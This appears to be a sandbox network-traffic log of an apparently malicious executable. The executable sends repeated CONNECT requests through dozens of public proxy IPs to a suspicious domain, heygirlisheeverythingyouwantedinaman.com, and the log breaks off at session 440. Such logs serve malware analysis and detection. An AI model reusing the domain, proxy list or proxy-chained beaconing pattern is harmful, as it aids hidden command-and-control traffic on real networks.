Mar 11, 2024 15:21:03.533301115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.9	50713	45.81.232.17	23711	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.533485889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.567756891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.9	51401	47.243.114.192	8180	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.539036036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.9	50740	94.131.106.196	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.549731016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.637778044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.638541937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.637968063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.639827967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.637563944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.637538910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.637510061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:03.637382984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.9	51411	84.39.112.144	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.549773932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.9	51447	162.243.102.207	9764	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.552438974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.9	51634	5.161.108.72	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.559540033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.9	50841	51.159.66.158	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.559765100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.567754030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591491938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.678405046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.863943100 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.9	51646	5.161.108.72	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.563546896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.9	51402	49.228.131.169	5000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.593436956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.9	51050	162.241.53.72	57364	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.594037056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.700169086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700584888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.794100046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.821079016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.887531042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.075074911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:16.074948072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:04.074907064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.9	51722	93.190.24.119	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.594594002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.9	51015	51.79.87.144	18636	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.595094919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.9	51017	64.124.145.1	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.596771002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.9	50907	24.249.199.12	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.598469019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.9	51739	93.190.24.119	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.599036932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.9	51036	107.180.88.41	24834	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.599436998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.637866020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.638612986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.637965918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.639830112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.637567997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.640891075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.637506962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.9	51743	93.190.24.119	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.602152109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.9	51746	93.190.24.119	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.604271889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.9	51443	147.75.92.244	10008	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.609847069 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:03.891885996 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.9	51456	43.163.192.3	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.610183001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.9	51485	192.252.209.155	14455	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.619252920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.9	50872	89.36.114.38	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.620686054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.637862921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.334399939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.9	51438	218.252.244.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.645874023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.9	50763	103.182.112.11	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.647883892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.700387955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700586081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.794111967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.294923067 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.9	51495	174.64.199.82	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.648494959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.9	51571	172.67.181.144	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.648551941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.802851915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.9	50806	185.32.44.1	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
